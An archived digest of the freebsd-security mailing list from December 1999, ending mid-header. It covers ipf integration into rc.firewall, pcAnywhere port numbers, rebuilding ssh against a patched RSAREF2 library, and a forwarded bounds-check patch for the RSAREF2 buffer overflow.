<199912102133.OAA17684@inago.swcp.com> To: freebsd-security@FreeBSD.ORG Subject: rc.firewall, ipf integration Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi everyone, Back in freebsd 2.x, I used ipfw to build firewalls. When I went to freebsd 3.x, I started using ipf. I wish everybody used ipf, but very few people seem to have made the change. Part of the reason for this seems to be a lack of documentation, thus I embarked on writing the ipf howto. The howto is coming along nicely, but freebsd's support for ipf doesn't seem to have come along much at all. I'm refering specifically to the rc.conf and rc.firewall files. Recent and past posts alike have indicated that 1. People are hitting brick walls with ipfw: A recent discussion revolved around the problem of UDP and DNS. The problem was that the firewall had to be opened such that a remote DNS server is able to send packets to any UDP port by using a source address of 53. Using ipf as a filter can solve this by keeping UDP state. 2) rc.firewall is being taken seriously as an effective firewall: As a learning aid, rc.firewall isn't bad, but it's letting things in by default that it really shouldn't. I know people want to be able to turn on a service and have it go, and that's why at present rc.firewall lets in port 25, 53, 80, 123, but should it really be doing that if those services aren't running? Shouldn't ipf support be in rc.firewall too? 3) rc.firewall doesn't get its configuration from rc.conf: The beginning of each set of rules in rc.firewall requires the setup of what interface, network, netmask, and IP address, then goes on to assume what ports need to be blocked and passed. I know that a fine grain firewall requires all that information and it can't just be guessed at what interface to apply a rule to, but we could certainly change rc.firewall to only open port 25/tcp when sendmail_enable is YES and sendmail_flags contains -q[0-9]+[mh] (probably wrong, but you get the idea). The bottom line is, I'd like to see rc.firewall be more useful out of the box to ipfw and ipf users alike. Whether that means rc.firewall includes complex logic based on rc.conf, or rc.conf gets a new line like: firewall_allowin="tcp/25/tun0,udp/53,tcp/53,tcp/80" or both, it can definitely be better than it is. So I'm sending this mail out to ask how people would like it improved. I'm willing to do pretty much all of the work, particularly to get ipf integrated. What do people think needs to happen? -Brendan (synk@swcp.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 14:35:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from inet-serv.symmetron.com (mail.symmetron.com [206.239.186.66]) by hub.freebsd.org (Postfix) with ESMTP id CBCAC15444 for ; Fri, 10 Dec 1999 14:35:25 -0800 (PST) (envelope-from John.Shue@symmetron.com) Received: from inet-serv ([206.239.186.66]) by inet-serv.symmetron.com (Netscape Mail Server v2.02) with SMTP id AAA324; Fri, 10 Dec 1999 17:35:23 -0500 From: John.Shue@symmetron.com (John A. Shue) To: "J. A. Sigler" , "Lomion" , Subject: RE: port 5632 Date: Fri, 10 Dec 1999 17:35:23 -0500 Keywords: FreeBSD-Security Message-ID: <00d001bf435e$d9040790$42baefce@inet-serv.symmetron.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <38516625.BFA8454C@verio.net> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Friday, December 10, 1999 3:44 PM, J. A. Sigler wrote: > PCAnywhere uses 5632 I seem to recall. Yeah, I was just looking this up the other day while writing a security policy for a firewall. Symantec has a document in their pcAnywhere knowledge base that talks about their usage of IP ports (TCP and UDP). Look in their knowledge base for "pcAnywhere IP Ports and Firewalls". This is a cut and paste of the important parts: pcAnywhere uses either of two sets of ports depending on the version of pcAnywhere you are using. One set uses ports 65301 and 22. The second set uses the registered ports 5631 and 5632. pcANYWHERE TCP UDP version port port 2.0 65301 22 7.0 65301 22 7.50,7.51 65301 22 CE 65301 22 7.52 5631 5632 8.x,9.x 5631 5632 -john To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 14:54: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.rdc2.on.home.com (ha1.rdc2.on.home.com [24.9.0.15]) by hub.freebsd.org (Postfix) with ESMTP id 49EC41537D for ; Fri, 10 Dec 1999 14:54:07 -0800 (PST) (envelope-from street@iname.com) Received: from mired.eh.local ([24.64.136.188]) by mail.rdc2.on.home.com (InterMail v4.01.01.07 201-229-111-110) with ESMTP id <19991210225406.MXJD9271.mail.rdc2.on.home.com@mired.eh.local>; Fri, 10 Dec 1999 14:54:06 -0800 Received: (from kws@localhost) by mired.eh.local (8.9.3/8.9.3) id RAA29486; Fri, 10 Dec 1999 17:54:06 -0500 (EST) (envelope-from kws) From: Kevin Street MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14417.33934.245121.600826@mired.eh.local> Date: Fri, 10 Dec 1999 17:54:06 -0500 (EST) To: Brendan Conoboy Cc: freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall, ipf integration In-Reply-To: <199912102133.OAA17684@inago.swcp.com> References: <199912102133.OAA17684@inago.swcp.com> X-Mailer: VM 6.71 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brendan Conoboy writes: >So I'm sending this mail out to ask how people would like it improved. >I'm willing to do pretty much all of the work, particularly to get ipf >integrated. What do people think needs to happen? Brendan, for client machines, better integration with DHCP would be a worthwhile goal. The firewall setup needs to be called from the dhclient scripts since dhclient knows what the ip address is and gets notified of any changes (lease expiry, ip addr changes). Having an rc.firewall that can be called whenever the state changes would be useful. Having the boot up of dhcp and rc.firewall happen in the right order and leave the firewall configured correctly is mandatory. Right now, my dhcp startup sets up the firewall and then rc.network promptly flushes it. I've got mine set up so that rc.firewall discovers what ip address dhcp managed to get and re-establishes the firewall by calling the same external firewall script that I'm using during the dhclient lease renewals. -- Kevin Street street@iname.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 16:36:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from super-g.com (super-g.com [207.240.140.161]) by hub.freebsd.org (Postfix) with ESMTP id 88E941575E for ; Fri, 10 Dec 1999 16:36:09 -0800 (PST) (envelope-from spork@super-g.com) Received: by super-g.com (Postfix, from userid 1000) id DC43EC74E; Fri, 10 Dec 1999 19:36:07 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by super-g.com (Postfix) with SMTP id C5E86C74C; Fri, 10 Dec 1999 19:36:07 -0500 (EST) Date: Fri, 10 Dec 1999 19:36:07 -0500 (EST) From: spork X-Sender: spork@super-g.inch.com To: Kris Kennaway Cc: Todd Backman , security@freebsd.org Subject: Re: Security Advisory: Buffer overflow in RSAREF2 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Can someone clarify this for me? If ldd shows output like so: root@ass[/usr/ports/security/rsaref]# ldd /usr/local/bin/ssh /usr/local/bin/ssh: libgmp.so.3 => /usr/lib/libgmp.so.3 (0x2806d000) libz.so.2 => /usr/lib/libz.so.2 (0x28083000) librsaref.so.2 => /usr/local/lib/librsaref.so.2 (0x28090000) libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x28099000) libutil.so.2 => /usr/lib/libutil.so.2 (0x280ae000) libc.so.3 => /usr/lib/libc.so.3 (0x280b6000) does this mean that simply patching, recompiling, and installing librsaref will fix ssh (for this vuln, not the last)? I'm not a genius with all this shared lib stuff, but I think I'm reading this right... Thanks, charles On Thu, 2 Dec 1999, Kris Kennaway wrote: > On Thu, 2 Dec 1999, Kris Kennaway wrote: > > > It's been patched: re-cvsup your ports and rebuild rsaref, followed by > > anything which depends on it (i.e. which statically links to librsaref.a > > - but easier and safer to just do all of the dependencies). > > I forgot to mention the easy way to get this list: > > cat /var/db/pkg/rsaref-2.0/+REQUIRED_BY > > before you rebuild. > > Kris > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 16:52:56 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 1D9691542D; Fri, 10 Dec 1999 16:52:55 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 012961CD79C; Fri, 10 Dec 1999 16:52:54 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Fri, 10 Dec 1999 16:52:54 -0800 (PST) From: Kris Kennaway To: spork Cc: Todd Backman , security@freebsd.org Subject: Re: Security Advisory: Buffer overflow in RSAREF2 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 10 Dec 1999, spork wrote: > root@ass[/usr/ports/security/rsaref]# ldd /usr/local/bin/ssh > /usr/local/bin/ssh: > libgmp.so.3 => /usr/lib/libgmp.so.3 (0x2806d000) > libz.so.2 => /usr/lib/libz.so.2 (0x28083000) > librsaref.so.2 => /usr/local/lib/librsaref.so.2 (0x28090000) > libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x28099000) > libutil.so.2 => /usr/lib/libutil.so.2 (0x280ae000) > libc.so.3 => /usr/lib/libc.so.3 (0x280b6000) > > does this mean that simply patching, recompiling, and installing librsaref > will fix ssh (for this vuln, not the last)? I'm not a genius with all > this shared lib stuff, but I think I'm reading this right... Yes. None of the librsaref code is included in the ssh binary itself, which would be the case if it was linked against the static librsaref.a (which you wouldn't see in ldd anyway). Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 17:28:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id D62CF14D4E; Fri, 10 Dec 1999 17:28:35 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA17246; Fri, 10 Dec 1999 18:28:28 -0700 (MST) Message-Id: <4.2.0.58.19991210182710.03d98d80@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 10 Dec 1999 18:28:19 -0700 To: Kris Kennaway , spork From: Brett Glass Subject: Re: Security Advisory: Buffer overflow in RSAREF2 (fwd) Cc: Todd Backman , security@FreeBSD.ORG In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Has the RSAREF port for 2.2.8 been updated? --Brett At 05:52 PM 12/10/1999 , Kris Kennaway wrote: >On Fri, 10 Dec 1999, spork wrote: > > > root@ass[/usr/ports/security/rsaref]# ldd /usr/local/bin/ssh > > /usr/local/bin/ssh: > > libgmp.so.3 => /usr/lib/libgmp.so.3 (0x2806d000) > > libz.so.2 => /usr/lib/libz.so.2 (0x28083000) > > librsaref.so.2 => /usr/local/lib/librsaref.so.2 (0x28090000) > > libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x28099000) > > libutil.so.2 => /usr/lib/libutil.so.2 (0x280ae000) > > libc.so.3 => /usr/lib/libc.so.3 (0x280b6000) > > > > does this mean that simply patching, recompiling, and installing librsaref > > will fix ssh (for this vuln, not the last)? I'm not a genius with all > > this shared lib stuff, but I think I'm reading this right... > >Yes. None of the librsaref code is included in the ssh binary itself, >which would be the case if it was linked against the static librsaref.a >(which you wouldn't see in ldd anyway). > >Kris > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 17:29:48 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id E066714D4F; Fri, 10 Dec 1999 17:29:46 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id D5B9B1CD750; Fri, 10 Dec 1999 17:29:46 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Fri, 10 Dec 1999 17:29:46 -0800 (PST) From: Kris Kennaway To: Brett Glass Cc: spork , Todd Backman , security@FreeBSD.ORG Subject: Re: Security Advisory: Buffer overflow in RSAREF2 (fwd) In-Reply-To: <4.2.0.58.19991210182710.03d98d80@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 10 Dec 1999, Brett Glass wrote: > Has the RSAREF port for 2.2.8 been updated? The RSAREF port has been updated, yes. This is how recompiling the port fixed this gentleman's problem. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 18:13:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0E46315162 for ; Fri, 10 Dec 1999 18:13:19 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id TAA17658; Fri, 10 Dec 1999 19:13:08 -0700 (MST) Message-Id: <4.2.0.58.19991210190512.03d62d90@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 10 Dec 1999 19:12:52 -0700 To: Kevin Street , Brendan Conoboy From: Brett Glass Subject: Re: rc.firewall, ipf integration Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <14417.33934.245121.600826@mired.eh.local> References: <199912102133.OAA17684@inago.swcp.com> <199912102133.OAA17684@inago.swcp.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This might be a good time to take DHCP off of the Berkeley Packet Filter interface and make it a bona fide protocol stack, albeit a short one (it'd be null above the MAC layer). This would eliminate the need for a special case mechanism to interact with it.... --Brett Glass At 03:54 PM 12/10/1999 , Kevin Street wrote: >Brendan Conoboy writes: > > >So I'm sending this mail out to ask how people would like it improved. > >I'm willing to do pretty much all of the work, particularly to get ipf > >integrated. What do people think needs to happen? > >Brendan, for client machines, better integration with DHCP would be a >worthwhile goal. The firewall setup needs to be called from the >dhclient scripts since dhclient knows what the ip address is and gets >notified of any changes (lease expiry, ip addr changes). Having an >rc.firewall that can be called whenever the state changes would be >useful. Having the boot up of dhcp and rc.firewall happen in the >right order and leave the firewall configured correctly is mandatory. > >Right now, my dhcp startup sets up the firewall and then rc.network >promptly flushes it. I've got mine set up so that rc.firewall >discovers what ip address dhcp managed to get and re-establishes the >firewall by calling the same external firewall script that I'm using >during the dhclient lease renewals. >-- >Kevin Street >street@iname.com > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 20:11:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 9E91914F02; Fri, 10 Dec 1999 20:11:12 -0800 (PST) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id XAA03064; Fri, 10 Dec 1999 23:13:37 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.19991210230845.03a92100@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Fri, 10 Dec 1999 23:11:06 -0500 To: Kris Kennaway From: Mike Tancsa Subject: RSAREF updated patch (was Re: Security Advisory: Buffer overflow in RSAREF2 (fwd)) Cc: security@FreeBSD.ORG In-Reply-To: References: <4.2.0.58.19991210182710.03d98d80@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:29 PM 12/10/99 , Kris Kennaway wrote: >On Fri, 10 Dec 1999, Brett Glass wrote: > >> Has the RSAREF port for 2.2.8 been updated? > >The RSAREF port has been updated, yes. This is how recompiling the port >fixed this gentleman's problem. There seems to be another update posted to BUGTRAQ around this issue. Here is part of the post. ---Mike >Reply-To: Gerardo Richarte >Sender: Bugtraq List >From: Gerardo Richarte >Organization: Core-SDI, Buenos Aires, Argentina >Subject: RSAREF2 buffer overflow patch >X-To: BUGTRAQ@SECURITYFOCUS.COM >To: BUGTRAQ@SECURITYFOCUS.COM >X-UIDL: 8cb69387584ce4618f845d89aaa324df > > While exchanging emails with CERT about the problem in RSAREF2 they >told me that somebody anonymous observed that there may be problem on >the >patch we released for RSAREF2. Together we produced a new version of >this >patch, which you can find in >ftp://www.core-sdi.com/pub/patches/rsaref2.patch >or at the end of this email. > While we [Core SDI S.A.] and the CERT are not aware of any exploit >that bypasses >the checks performed by the previous version, this new version is more >strict than the >other, so we recommend you to use it. > We still think that RSAREF's problem need to be solved a little >better that with a >patch, but still this is more than what we can legally do... while it's >obligatory to use >RSAREF [only] in the USA, nobody can legally alter its sources, so be >careful when >changing them. > > richie > >PS: You must apply this new patch to the original version of rsa.c. > >--------------------------------------- rsaref2.patch >*** rsa.original.c Fri Mar 26 14:01:48 1994 >--- rsa.c Fri Dec 10 12:56:34 1999 >*************** >*** 33,38 **** >--- 33,41 ---- > unsigned char byte, pkcsBlock[MAX_RSA_MODULUS_LEN]; > unsigned int i, modulusLen; > >+ if (publicKey->bits > MAX_RSA_MODULUS_BITS) >+ return (RE_LEN); >+ > modulusLen = (publicKey->bits + 7) / 8; > if (inputLen + 11 > modulusLen) > return (RE_LEN); >*************** >*** 78,83 **** >--- 81,89 ---- > unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; > unsigned int i, modulusLen, pkcsBlockLen; > >+ if (publicKey->bits > MAX_RSA_MODULUS_BITS) >+ return (RE_LEN); >+ > modulusLen = (publicKey->bits + 7) / 8; > if (inputLen > modulusLen) > return (RE_LEN); >*************** >*** 128,133 **** >--- 134,142 ---- > int status; > unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; > unsigned int i, modulusLen; >+ >+ if (privateKey->bits > MAX_RSA_MODULUS_BITS) >+ return (RE_LEN); > > modulusLen = (privateKey->bits + 7) / 8; > if (inputLen + 11 > modulusLen) >*************** >*** 168,173 **** >--- 177,185 ---- > unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; > unsigned int i, modulusLen, pkcsBlockLen; > >+ if (privateKey->bits > MAX_RSA_MODULUS_BITS) >+ return (RE_LEN); >+ > modulusLen = (privateKey->bits + 7) / 8; > if (inputLen > modulusLen) > return (RE_LEN); > > >-- >A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0 >Investigacion y Desarrollo - CoreLabs - Core SDI >http://www.core-sdi.com ********************************************************************** Mike Tancsa * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 519 651 3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 10 23: 9:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from jason.argos.org (a1-3b058.neo.rr.com [24.93.181.58]) by hub.freebsd.org (Postfix) with ESMTP id EBBB814F3F for ; Fri, 10 Dec 1999 23:09:08 -0800 (PST) (envelope-from mike@argos.org) Received: from localhost (mike@localhost) by jason.argos.org (8.9.1/8.9.1) with ESMTP id CAA02714; Sat, 11 Dec 1999 02:08:43 -0500 Date: Sat, 11 Dec 1999 02:08:43 -0500 (EST) From: Mike Nowlin To: "Scott I. Remick" Cc: freebsd-security@FreeBSD.ORG Subject: Re: What kind of attack is this? In-Reply-To: <4.2.2.19991208171410.00aa4db0@mail.computeralt.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Yeah, I understand all that, believe it or not :). I actually have the > system built up partway (FreeBSD 3.3, 2 NICs working, ssh the only service, > firewall built into kernel, etc) but it's not quite so easy to just drop it > into place. I need to get everyone off static IP and onto DHCP so I can > then chop up our class C into subnets so we can actually do routing, then > move some server's IPs around so they end up in the proper subnets, and I > even want to drop in a 3rd NIC and have a 3-homed host. But things that > involve change and aren't Microsoft solutions move at a snail's pace around > here... but I digress... My suggestion (and how I did this same thing) is to shove the dual-ethernet FBSD box between the Pipeline and the local ethernet, and give it a IPFW rule of "60000 pass all from any to any" (or whatever it is) so that the introduction of the FBSD box goes unnoticed at first..... You can then insert rules to deny certain traffic patterns before the "pass all" line as you need to.... Over time, you can change the general policies from pass-all to deny-all-except-the-following -- if you do it carefully, any problems that show up can be explained to upper management as "Sorry, but the Microsloth implementation of that protocol has been buggy since IP was first introduced on Win311, and the latest version of RealAudio fixed their reliance on that particular bug." :) mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 11 0:23:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from smtp.nwlink.com (smtp.nwlink.com [209.20.130.57]) by hub.freebsd.org (Postfix) with ESMTP id 9794E14E75 for ; Sat, 11 Dec 1999 00:23:48 -0800 (PST) (envelope-from craigc@nwlink.com) Received: from craigc (ip133.gte8.rb1.bel.nwlink.com [209.20.237.133]) by smtp.nwlink.com (8.9.3/8.9.3) with SMTP id AAA08942 for ; Sat, 11 Dec 1999 00:23:46 -0800 (PST) Message-ID: <03d201bf43b2$0979a530$0201010a@fuzzer.com> From: "Craig Critchley" To: References: <00d001bf435e$d9040790$42baefce@inet-serv.symmetron.com> Subject: Re: port 5632 Date: Sat, 11 Dec 1999 00:30:52 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Does anyone maintain a list of commonly used/probed ports beyond the "official" assigned ports the IANA has? There's a handful of ports not on the list that seemed to get probed from time to time, for things like Netbus and BO, and I'd like to know what some of the others are... Thanks, ...Craig ----- Original Message ----- From: John A. Shue To: J. A. Sigler ; Lomion ; Sent: Friday, December 10, 1999 2:35 PM Subject: RE: port 5632 > On Friday, December 10, 1999 3:44 PM, J. A. Sigler wrote: > > PCAnywhere uses 5632 I seem to recall. > > Yeah, I was just looking this up the other day while writing a security > policy for a firewall. Symantec has a document in their pcAnywhere > knowledge base that talks about their usage of IP ports (TCP and UDP). > > Look in their knowledge base for "pcAnywhere IP Ports and Firewalls". > > This is a cut and paste of the important parts: > > pcAnywhere uses either of two sets of ports depending on the version of > pcAnywhere you are using. One set uses ports 65301 and 22. The second set > uses the registered ports 5631 and 5632. > > pcANYWHERE TCP UDP > version port port > 2.0 65301 22 > 7.0 65301 22 > 7.50,7.51 65301 22 > CE 65301 22 > 7.52 5631 5632 > 8.x,9.x 5631 5632 > > > -john > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 11 2:35: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 714F214E54; Sat, 11 Dec 1999 02:35:04 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 5C3C51CD79B; Sat, 11 Dec 1999 02:35:04 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Sat, 11 Dec 1999 02:35:04 -0800 (PST) From: Kris Kennaway To: Mike Tancsa Cc: security@FreeBSD.ORG Subject: Re: RSAREF updated patch (was Re: Security Advisory: Buffer overflow in RSAREF2 (fwd)) In-Reply-To: <4.1.19991210230845.03a92100@granite.sentex.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 10 Dec 1999, Mike Tancsa wrote: > There seems to be another update posted to BUGTRAQ around this issue. Here > is part of the post. Yes, I saw it - I'll get this committed as soon as the ports freeze for 3.4 is up. It's a shame this arrived a few hours after the freeze, although since we don't ship any rsaref-containing binaries (or any other crypto binaries) on CD it's not quite so bad. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 11 3:12:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from aurora.scoop.co.nz (aurora.scoop.co.nz [203.96.152.68]) by hub.freebsd.org (Postfix) with ESMTP id A531214F5F for ; Sat, 11 Dec 1999 03:12:12 -0800 (PST) (envelope-from andrew@scoop.co.nz) Received: from localhost (localhost [127.0.0.1]) by aurora.scoop.co.nz (8.9.3/8.9.3) with SMTP id AAA20427; Sun, 12 Dec 1999 00:12:04 +1300 (NZDT) Date: Sun, 12 Dec 1999 00:12:04 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aurora.scoop.co.nz Reply-To: andrew@scoop.co.nz To: Craig Critchley Cc: freebsd-security@FreeBSD.ORG Subject: Re: port 5632 In-Reply-To: <03d201bf43b2$0979a530$0201010a@fuzzer.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org http://www.robertgraham.com/pubs/firewall-seen.html http://advice.networkice.com/advice/Exploits/Ports/ -- Andrew McNaughton andrew@squiz.co.nz On Sat, 11 Dec 1999, Craig Critchley wrote: > Does anyone maintain a list of commonly used/probed ports beyond the > "official" assigned ports the IANA has? There's a handful of ports not on > the list that seemed to get probed from time to time, for things like Netbus > and BO, and I'd like to know what some of the others are... > > Thanks, > > ...Craig > > ----- Original Message ----- > From: John A. Shue > To: J. A. Sigler ; Lomion ; > > Sent: Friday, December 10, 1999 2:35 PM > Subject: RE: port 5632 > > > > On Friday, December 10, 1999 3:44 PM, J. A. Sigler wrote: > > > PCAnywhere uses 5632 I seem to recall. > > > > Yeah, I was just looking this up the other day while writing a security > > policy for a firewall. Symantec has a document in their pcAnywhere > > knowledge base that talks about their usage of IP ports (TCP and UDP). > > > > Look in their knowledge base for "pcAnywhere IP Ports and Firewalls". > > > > This is a cut and paste of the important parts: > > > > pcAnywhere uses either of two sets of ports depending on the version of > > pcAnywhere you are using. One set uses ports 65301 and 22. The second set > > uses the registered ports 5631 and 5632. > > > > pcANYWHERE TCP UDP > > version port port > > 2.0 65301 22 > > 7.0 65301 22 > > 7.50,7.51 65301 22 > > CE 65301 22 > > 7.52 5631 5632 > > 8.x,9.x 5631 5632 > > > > > > -john > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Dec 11 13:16:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from cek.sinn.ru (cek.sinn.ru [213.24.89.211]) by hub.freebsd.org (Postfix) with ESMTP id 40C8E15008 for ; Sat, 11 Dec 1999 13:16:11 -0800 (PST) (envelope-from igor@cek.sinn.ru) Received: from igor (igor.cek.sinn.ru [213.24.89.213]) by cek.sinn.ru (8.9.3/8.9.3) with SMTP id AAA00793 for ; Sun, 12 Dec 1999 00:20:47 +0300 (MSK) (envelope-from igor@cek.sinn.ru) Message-ID: <005301bf441c$c040aba0$d55918d5@igor> From: "Igor G. Lepyokhin" To: Subject: Date: Sun, 12 Dec 1999 00:14:45 +0300 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth c9374a8f unsubscribe freebsd-security secure@cek.sinn.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 12 11:17: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from orhi.sarenet.es (orhi.sarenet.es [192.148.167.5]) by hub.freebsd.org (Postfix) with ESMTP id 158F114CBE for ; Sun, 12 Dec 1999 11:17:00 -0800 (PST) (envelope-from borjamar@sarenet.es) Received: from sarenet.es (sollube.sarenet.es [192.148.167.16]) by orhi.sarenet.es (Postfix) with ESMTP id E57C24D684 for ; Sun, 12 Dec 1999 20:15:44 +0000 (WET) Received: from sarenet.es (borja.sarenet.es [194.30.110.21] (may be forged)) by 